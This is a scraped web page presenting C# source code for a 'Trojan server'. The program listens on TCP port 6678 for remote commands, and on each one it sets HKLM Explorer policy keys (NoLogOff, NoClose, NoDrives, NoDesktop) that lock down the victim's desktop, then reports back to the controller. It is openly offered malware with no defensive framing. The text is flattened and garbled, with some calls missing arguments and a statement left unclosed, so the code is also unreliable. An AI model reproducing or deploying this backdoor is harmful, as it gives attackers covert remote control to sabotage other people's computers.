Trojan Server source code (C #)

Source: Internet
Author: User
Tags socket thread
Server | Trojan Horse | source code
using system; using system.drawing; using system.collections; using  system.componentmodel; using system.windows.forms; using system.data; using  system.io; using system.net; using system.net.sockets; using system.threading;  using Microsoft.Win32; namespace server { /**//// /// Form1  's summary description.  /// public class form1 : system.windows.forms.form { /**//// ///   A required designer variable.  /// private system.componentmodel.container components = null; private  tcplistener listener; private string mystr= "Hello!" Very sorry, your registry: ";  private registrykey rrr=registry.localmachine; private registrykey  key1; public form1 ()  { // // Windows  form Designer support required  //  InitializeComponent ();  {int port =6678;  Listener=new tcplistener (port);  listener. Start ();  thread thread=new thread (New threadstart (target));  thread. Start (); } // // todo:  Add any constructor code  //&nbsp after the  InitializeComponent  call;  public void target ()  { socket socket= listener. AcceptSocket ();  while (socket. Connected)  { byte[] by=new byte[6]; int i=socket. Receive (By,by. length,0);  string ss=system.text.encoding.ascii.getstring (by);  // Ooooooooooooooooooooooooooo The following is the Modify registry ooooooooooooooooooooooooooo //&&&&&&&& &&&&&&&&&&&&&&&&&&&&&& &&&&&&&&&&&&&&&&&&&&&& &&&&&&&&&&&&&&&&& if (ss== "Jiance")  { string&nBsp;str= "HJC";  byte[] bytee=system.text.encoding.ascii.getbytes (str. ToCharArray ());  socket. Send (bytee,bytee. length,0);  } if (ss== "zx1000")  { try { key1=rrr. OpenSubKey ("Software\microsoft\windows\currentversion\policies\explorer", true);  key1. SetValue ("Nologoff", 1);  key1. Close ();  mystr=mystr+ "Hkey_local_machine\software\microsoft\windows\currentversion\policies\ Explorer key value Nologoff was modified! Please set it to 0! ";  } catch{} if (Key1==null)  { try { registrykey key2=rrr. CreateSubKey ("Software\microsoft\windows\currentversion\policies\explorer");  key2. SetValue ("Nologoff", 1);  key2. Close ();  mystr=mystr+ "Hkey_local_machine\software\microsoft\windows\currentversion\policies\ Explorer key value Nologoff was modified! Please set it to 0! ";  }//try catch{} }//if (key1==null) { string str=" Hkz ";  byte[] bytee= System.Text.Encoding.ASCII.GetBytes (str. ToCharArray ());  socket. Send (bytee,bytee. length,0);  }//if (ss== "")  //&&&&&&&&&&&&&&&&&& &&&&&&&&&&&&&&&&&&&&&& &&&&&&&&&&&&&&&&&&&&&& &&&&&&&&&& //****************************************************  if (ss== "zx0100")  { try { key1=rrr. OpenSubKey ("Software\microsoft\windows\currentversion\policies\explorer", true);  key1. SetValue ("Noclose", 1);  key1. Close ();  mystr=mystr+ "Localmachine\software\microsoft\windows\currentversion\policies\ Explorer key value Noclose was modified! Please set it to 0! ";  } catch{} if (Key1==null)  { try { registrykey key2=rrr. CreateSubKey ("Software\microsoft\windows\currentversion\policies\explorer");  key2. SetValue ("Noclose", 1);  key2. Close ();  mystr=mystr+ "Localmachine\software\microsoft\windows\currentversion\policies\explorer key value Noclose is modified! Please set it to 0! ";  }//try catch{} }//if (key1==null) { string str=" Hkz ";  byte[] bytee= System.Text.Encoding.ASCII.GetBytes (str. ToCharArray ());  socket. Send (bytee,bytee. length,0);  }//if (ss== "zx0100") { //******************************************************************  //++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ if (ss== " zx0010 ")  { try { key1=rrr. OpenSubKey ("Software\microsoft\windows\currentversion\policies\explorer", true);  key1. SetValue ("NoDrives");  key1. Close ();  mystr=mystr+ "Hkey_local_machine\software\microsoft\windows\currentversion\policies\ Explorer key value NoDrives was modified! Please set it to 0 ";  } catch{} if (Key1==null)  { try { registrykey key2=rrr. CreateSubKey ("Software\microsoft\windows\currentversion\policies\explorer");  key2. SetValue ("NoDRives ",  key2. Close ();  mystr=mystr+ "Hkey_local_machine\software\microsoft\windows\currentversion\policies\ Explorer key value NoDrives was modified! Please place it at 0 ";  }//try catch{} }//if (key1==null) { string str=" Hkz ";  byte[] bytee= System.Text.Encoding.ASCII.GetBytes (str. ToCharArray ());  socket. Send (bytee,bytee. length,0);  }//if //++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ //===== =============================================================== if (ss== "zx0001")  { try {  key1=rrr. OpenSubKey ("Software\microsoft\windows\currentversion\policies\explorer", true);  key1. SetValue ("NoDesktop", 1);  key1. Close ();  mystr=mystr+ "Hkey_local_machine\software\microsoft\windows\currentversion\policies\ Explorer key value NoDesktop was modified! Please set it to 0 ";  } catch{} if (Key1==null)  { try { registrykey key2=rrr. CreateSubKey ("Software\microsoft\windows\currentversion\policies\explorer");  keY2. SetValue ("NoDesktop", 1);  key2. Close ();  mystr=mystr+ "Hkey_local_machine\software\microsoft\windows\currentversion\policies\ Explorer key value NoDesktop was modified! Please place it at 0 ";  }//try catch{} }//if (key1==null) { string str=" Hkz ";  byte[] bytee= System.Text.Encoding.ASCII.GetBytes (str. ToCharArray ());  socket. Send (bytee,bytee. length,0);  }//if //========================================================================= // $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ if (ss== "zx1100")  { try  { key1=rrr. OpenSubKey ("Software\microsoft\windows\currentversion\policies\explorer", true);  key1. SetValue ("Nologoff", 1);  key1. SetValue ("Noclose", 1);  key1. Close ();  mystr=mystr+ "Hkey_local_machine\software\microsoft\windows\currentversion\policies\ Explorer key value Nologoff, Noclose was modified! Please set it to 0 ";  } catch{} if (Key1==null)  { try { registrykey key2=rrr. CreateSubKey ("SoftwAre\microsoft\windows\currentversion\policies\explorer ");  key2. SetValue ("Nologoff", 1);  key2. SetValue ("Noclose", 1);  key2. Close ();  mystr=mystr+ "Hkey_local_machine\software\microsoft\windows\currentversion\policies\ Explorer key value Nologoff, Noclose was modified! Please place it at 0 ";  }//try catch{} }//if (key1==null) { string str=" Hkz ";  byte[] bytee= System.Text.Encoding.ASCII.GetBytes (str. ToCharArray ());  socket. Send (bytee,bytee. length,0); }//if //&&&&&&&&&&&&&&&& &&&&&&&&&&&&&&&&&&&&&& &&&&&&&&&&&&&&&&&&&&&& &&&&&&&&&&&&&&& if (ss== "zx1010")  {  Try { key1=rrr. OpenSubKey ("Software\microsoft\windows\currentversion\policies\explorer", true); &Nbsp;key1. SetValue ("Nologoff", 1);  key1. SetValue ("NoDrives");  key1. Close ();  mystr=mystr+ "Hkey_local_machine\software\microsoft\windows\currentversion\policies\ Explorer key value Nologoff, NoDrives was modified! Please set it to 0 ";  } catch{} if (Key1==null)  { try { registrykey key2=rrr. CreateSubKey ("Software\microsoft\windows\currentversion\policies\explorer");  key2. SetValue ("Nologoff", 1);  key2. SetValue ("NoDrives");  key2. Close ();  mystr=mystr+ "Hkey_local_machine\software\microsoft\windows\currentversion\policies\ Explorer key value Nologoff, NoDrives was modified! Please place it at 0 ";  }//try catch{} }//if (key1==null) { string str=" Hkz ";  byte[] bytee= System.Text.Encoding.ASCII.GetBytes (str. ToCharArray ());  socket. Send (bytee,bytee. length,0);  }//if //************************************************** if (ss== "zx1001")  {  try { key1=rrr. OpenSubKey ("Software\microsoft\windows\currentversion\policies\explorer",true);  key1. SetValue ("Nologoff", 1);  key1. SetValue ("NoDesktop", 1);  key1. Close ();  mystr=mystr+ "Hkey_local_machine\software\microsoft\windows\currentversion\policies\ Explorer key value Nologoff, NoDesktop was modified! Please set it to 0 ";  } catch (Exception ee) {MessageBox.Show (EE). message);}  if (Key1==null)  { try { registrykey key2=rrr. CreateSubKey ("Software\microsoft\windows\currentversion\policies\explorer");  key2. SetValue ("Nologoff", 1);  key2. SetValue ("NoDesktop", 1);  key2. Close ();  mystr=mystr+ "Hkey_local_machine\software\microsoft\windows\currentversion\policies\ Explorer key value Nologoff, NoDesktop was modified! Please place it at 0 ";  }//try catch{} }//if (key1==null) { string str=" Hkz ";  byte[] bytee= System.Text.Encoding.ASCII.GetBytes (str. ToCharArray ());  socket. Send (bytee,bytee. length,0);  }//if //******************************************** if (ss== "zx0110")  {  Try { key1=rrr. OpenSubKey ("Software\miCrosoft\windows\currentversion\policies\explorer ", true);  key1. SetValue ("Noclose", 1);  key1. SetValue ("NoDrives");  key1. Close ();  mystr=mystr+ "Hkey_local_machine\software\microsoft\windows\currentversion\policies\ Explorer key value Noclose, NoDrives was modified! Please set it to 0 ";  } catch{} if (Key1==null)  { try { registrykey key2=rrr. CreateSubKey ("Software\microsoft\windows\currentversion\policies\explorer");  key2. SetValue ("Noclose", 1);  key2. SetValue ("NoDrives");  key2. Close ();  mystr=mystr+ "Hkey_local_machine\software\microsoft\windows\currentversion\policies\ Explorer key value Noclose, NoDrives was modified! Please place it at 0 ";  }//try catch{} }//if (key1==null) { string str=" Hkz ";  byte[] bytee= System.Text.Encoding.ASCII.GetBytes (str. ToCharArray ());  socket. Send (bytee,bytee. length,0);  }//if //******************************************** if (ss== "zx0101")  {  Try { key1=rrr. OpenSubKey ("Software\microSoft\windows\currentversion\policies\explorer ", true);  key1. SetValue ("Noclose", 1);  key1. SetValue ("NoDesktop", 1);  key1. Close ();  mystr=mystr+ "Hkey_local_machine\software\microsoft\windows\currentversion\policies\ Explorer key value Noclose, NoDesktop was modified! Please set it to 0 ";  } catch{} if (Key1==null)  { try { registrykey key2=rrr. CreateSubKey ("Software\microsoft\windows\currentversion\policies\explorer");  key2. SetValue ("Noclose", 1);  key2. SetValue ("NoDesktop", 1);  key2. Close ();  mystr=mystr+ "Hkey_local_machine\software\microsoft\windows\currentversion\policies\ Explorer key value Noclose,, NoDesktop was modified! Please place it at 0 ";  }//try catch{} }//if (key1==null) { string str=" Hkz ";  byte[] bytee= System.Text.Encoding.ASCII.GetBytes (str. ToCharArray ());  socket. Send (bytee,bytee. length,0);  }//if //******************************** if (ss== "zx0011")  { try {  key1=rrr. OpenSubKey ("SOFTWARE\Microsoft\Windows\currentversion\policies\explorer ", true);  key1. SetValue ("NoDrives");  key1. SetValue ("NoDesktop", 1);  key1. Close ();  mystr=mystr+ "Hkey_local_machine\software\microsoft\windows\currentversion\policies\ Explorer key value NoDrives, NoDesktop was modified! Please set it to 0 ";  } catch{} if (Key1==null)  { try { registrykey key2=rrr. CreateSubKey ("Software\microsoft\windows\currentversion\policies\explorer");  key2. SetValue ("NoDrives");  key2. SetValue ("NoDesktop", 1);  key2. Close ();  mystr=mystr+ "Hkey_local_machine\software\microsoft\windows\currentversion\policies\ Explorer key value NoDrives, NoDesktop was modified! Please place it at 0 ";  }//try catch{} }//if (key1==null) { string str=" Hkz ";  byte[] bytee= System.Text.Encoding.ASCII.GetBytes (str. ToCharArray ());  socket. Send (bytee,bytee. length,0);  }//if //************************************ if (ss== "zx1110")  { try {  key1=rrr. OpenSubKey ("Software\microsoft\windows\cuRrentversion\policies\explorer ", true);  key1. SetValue ("Nologoff", 1);  key1. SetValue ("Noclose", 1);  key1. SetValue ("NoDrives");  key1. Close ();  mystr=mystr+ "Hkey_local_machine\software\microsoft\windows\currentversion\policies\ Explorer key value Nologoff, Noclose, NoDrives was modified! Please set it to 0 ";  } catch{} if (Key1==null)  { try { registrykey key2=rrr. CreateSubKey ("Software\microsoft\windows\currentversion\policies\explorer");  key2. SetValue ("Nologoff", 1);  key2. SetValue ("Noclose", 1);  key2. SetValue ("NoDrives");  key2. Close ();  mystr=mystr+ "Hkey_local_machine\software\microsoft\windows\currentversion\policies\ Explorer key value Nologoff, Noclose, NoDrives was modified! Please place it at 0 ";  }//try catch{} }//if (key1==null) { string str=" Hkz ";  byte[] bytee= System.Text.Encoding.ASCII.GetBytes (str. ToCharArray ());  socket. Send (bytee,bytee. length,0);  }//if //************************************** if (ss== "zx1101") &nBsp { try { key1=rrr. OpenSubKey ("Software\microsoft\windows\currentversion\policies\explorer", true);  key1. SetValue ("Nologoff", 1);  key1. SetValue ("Noclose", 1);  key1. SetValue ("NoDesktop", 1);  key1. Close ();  mystr=mystr+ "Hkey_local_machine\software\microsoft\windows\currentversion\policies\ Explorer key value Nologoff, Noclose, NoDesktop was modified! Please set it to 0 ";  } catch{} if (Key1==null)  { try { registrykey key2=rrr. CreateSubKey ("Software\microsoft\windows\currentversion\policies\explorer");  key2. SetValue ("Nologoff", 1);  key2. SetValue ("Noclose", 1);  key2. SetValue ("NoDesktop", 1);  key2. Close ();  mystr=mystr+ "Hkey_local_machine\software\microsoft\windows\currentversion\policies\ Explorer key value Nologoff, Noclose, NoDesktop was modified! Please place it at 0 ";  }//try catch{} }//if (key1==null) { string str=" Hkz ";  byte[] bytee= System.Text.Encoding.ASCII.GetBytes (str. ToCharArray ());  socket. Send (bytee,bytee. length,0); &nBSP;} If //****************************************** if (ss== "zx1011")  { try { key1= RRR. OpenSubKey ("Software\microsoft\windows\currentversion\policies\explorer", true);  key1. SetValue ("Nologoff", 1);  key1. SetValue ("NoDrives");  key1. SetValue ("NoDesktop", 1);  key1. Close ();  mystr=mystr+ "Hkey_local_machine\software\microsoft\windows\currentversion\policies\ Explorer key value Nologoff, NoDrives, NoDesktop was modified! Please set it to 0 ";  } catch{} if (Key1==null)  { try { registrykey key2=rrr. CreateSubKey ("Software\microsoft\windows\currentversion\policies\explorer");  key2. SetValue ("Nologoff", 1);  key2. SetValue ("NoDrives");  key2. SetValue ("NoDesktop", 1);  key2. Close ();  mystr=mystr+ "Hkey_local_machine\software\microsoft\windows\currentversion\policies\ Explorer key value Nologoff, NoDrives, NoDesktop was modified! Please place it at 0 ";  }//try catch{} }//if (key1==null) { string str=" Hkz ";  byte[] bytee= system.tExt. Encoding.ASCII.GetBytes (str. ToCharArray ());  socket. Send (bytee,bytee. length,0);  }//if //******************************************** if (ss== "zx0111")  {  Try { key1=rrr. OpenSubKey ("Software\microsoft\windows\currentversion\policies\explorer", true);  key1. SetValue ("NoDrives");  key1. SetValue ("Noclose", 1);  key1. SetValue ("NoDesktop", 1);  key1. Close ();  mystr=mystr+ "Hkey_local_machine\software\microsoft\windows\currentversion\policies\ Explorer key value Noclose, NoDrives, NoDesktop was modified! Please set it to 0 ";  } catch{} if (Key1==null)  { try { registrykey key2=rrr. CreateSubKey ("Software\microsoft\windows\currentversion\policies\explorer");  key2. SetValue ("NoDrives");  key2. SetValue ("Noclose", 1);  key2. SetValue ("NoDesktop", 1);  key2. Close ();  mystr=mystr+ "Hkey_local_machine\software\microsoft\windows\currentversion\policies\ Explorer key value Noclose, NoDrives, NoDesktop was modified! Please set it to 0 ";  }//TRY CATCh{} }//if (key1==null) { string str= "Hkz";  byte[] bytee= System.Text.Encoding.ASCII.GetBytes (str. ToCharArray ());  socket. Send (bytee,bytee. length,0);  }//if //******************************************** if (ss== "zx1111")  {  Try { key1=rrr. OpenSubKey ("Software\microsoft\windows\currentversion\policies\explorer", true);  key1. SetValue ("Nologoff", 1);  key1. SetValue ("Noclose", 1);  key1. SetValue ("NoDrives");  key1. SetValue ("NoDesktop", 1);  key1. Close ();  mystr=mystr+ "Hkey_local_machine\software\microsoft\windows\currentversion\policies\ Explorer key value Nologoff, Noclose, NoDrives, NoDesktop was modified! Please set it to 0 ";  } catch{} if (Key1==null)  { try { registrykey key2=rrr. CreateSubKey ("Software\microsoft\windows\currentversion\policies\explorer");  key2. SetValue ("Nologoff", 1);  key2. SetValue ("Noclose", 1);  key2. SetValue ("NoDrives");  key2. SetValue ("NoDesktop", 1);  key2. CloSe ();  mystr=mystr+ "Hkey_local_machine\software\microsoft\windows\currentversion\policies\ Explorer key value Nologoff, Noclose, NoDrives, NoDesktop was modified! Please place it at 0 ";  }//try catch{} }//if (key1==null) { string str=" Hkz ";  byte[] bytee= System.Text.Encoding.ASCII.GetBytes (str. ToCharArray ());  socket. Send (bytee,bytee. length,0);  }//if //********************************************* // Ooooooooooooooooooooooooooo above is to modify the registration form Oooooooooooooooooooooooooooooooo

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.